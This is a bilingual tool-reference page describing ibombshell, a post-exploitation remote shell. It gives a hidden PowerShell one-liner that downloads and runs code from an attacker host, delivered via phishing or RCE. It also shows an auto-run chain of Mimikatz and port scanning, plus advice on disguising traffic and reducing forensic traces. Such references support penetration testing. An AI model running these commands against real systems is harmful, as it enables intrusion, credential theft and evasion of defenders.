← retour aux outils back to tools

# ibombshell

Outil de post-exploitation fournissant un shell distant dynamique qui télécharge et exécute des modules PowerShell ou Python à la volée sans écrire sur le disque. Post-exploitation tool providing a dynamic remote shell that downloads and executes PowerShell or Python modules on the fly without writing to disk.

↗ https://github.com/TheXC3LL/ibombshell

## Overview

ibombshell delivers a lightweight remote shell (a one-liner launcher) that, once running on a compromised host, pulls individual attack modules over HTTP(S) at the moment they’re needed rather than dropping a full toolkit to disk. Modules cover things like AD enumeration, privilege escalation checks, and lateral movement helpers. It can run interactively (operator-driven) or in “irun” unattended mode where a predefined sequence of modules executes automatically — useful for semi-autonomous post-exploitation.

## Common Usage

Start the ibombshell server (hosts the launcher + modules)

    python3 ibombshell.py

On the compromised Windows host, execute the generated one-liner (delivered via phishing, RCE, etc.)

    powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://<attacker>:8080/shell')"

    # From the ibombshell console once a shell checks in:
    ibombshell> sessions
    ibombshell> use <session_id>
    ibombshell> load Invoke-PrivescCheck
    ibombshell> run Invoke-PrivescCheck

## Unattended mode

irun: generate a standalone launcher that auto-runs a module chain, no operator interaction required after execution

    ibombshell> irun --modules Invoke-Mimikatz,Invoke-PortScan --output launcher.ps1

## Notes

- Nothing is written to disk on the target by design — modules live in memory, reducing forensic footprint (but increasing visibility to AMSI/EDR memory scanning).
- Works over HTTP/HTTPS, so blend traffic with legitimate-looking domains/paths when possible.
- Has both PowerShell (Windows) and Python (cross-platform) module sets.

Help / Man page

    ibombshell.py [options]

      --port PORT        Listener port for the module server (default: 8080)
      --ssl               Serve over HTTPS
      --cert FILE          TLS certificate
      --key FILE            TLS private key

    ibombshell console commands:
      sessions            List connected shells
      use <id>            Interact with a session
      load <module>       Fetch and load a module into memory
      run <module>        Execute a loaded module
      irun --modules ..   Generate an unattended auto-run launcher
      background          Return to session list
      exit                Quit

## Vue d’ensemble

ibombshell fournit un shell distant léger (un launcher one-liner) qui, une fois lancé sur un hôte compromis, récupère des modules d’attaque individuels via HTTP(S) au moment où ils sont nécessaires plutôt que de déposer une boîte à outils complète sur le disque. Les modules couvrent des choses comme l’énumération AD, les vérifications d’élévation de privilèges, et des helpers de mouvement latéral. Il peut fonctionner de manière interactive (piloté par l’opérateur) ou en mode “irun” autonome où une séquence prédéfinie de modules s’exécute automatiquement : utile pour de la post-exploitation semi-autonome.

## Utilisation courante

    # Démarrer le serveur ibombshell (héberge le launcher + les modules)
    python3 ibombshell.py

    # Sur l'hôte Windows compromis, exécuter le one-liner généré (livré via phishing, RCE, etc.)
    powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://<attacker>:8080/shell')"

    # Depuis la console ibombshell une fois qu'un shell se connecte :
    ibombshell> sessions
    ibombshell> use <session_id>
    ibombshell> load Invoke-PrivescCheck
    ibombshell> run Invoke-PrivescCheck

## Mode autonome

    # irun : générer un launcher autonome qui exécute automatiquement une chaîne de modules, sans interaction de l'opérateur après le lancement
    ibombshell> irun --modules Invoke-Mimikatz,Invoke-PortScan --output launcher.ps1

## Notes

- Rien n’est écrit sur le disque de la cible par conception : les modules vivent en mémoire, ce qui réduit l’empreinte forensique (mais augmente la visibilité face au scan mémoire AMSI/EDR).
- Fonctionne sur HTTP/HTTPS, donc mélanger le trafic avec des domaines/chemins d’apparence légitime quand c’est possible.
- Dispose d’un jeu de modules PowerShell (Windows) et Python (multiplateforme).

Aide / Page de manuel

    ibombshell.py [options]

      --port PORT        Listener port for the module server (default: 8080)
      --ssl               Serve over HTTPS
      --cert FILE          TLS certificate
      --key FILE            TLS private key

    ibombshell console commands:
      sessions            List connected shells
      use <id>            Interact with a session
      load <module>       Fetch and load a module into memory
      run <module>        Execute a loaded module
      irun --modules ..   Generate an unattended auto-run launcher
      background          Return to session list
      exit                Quit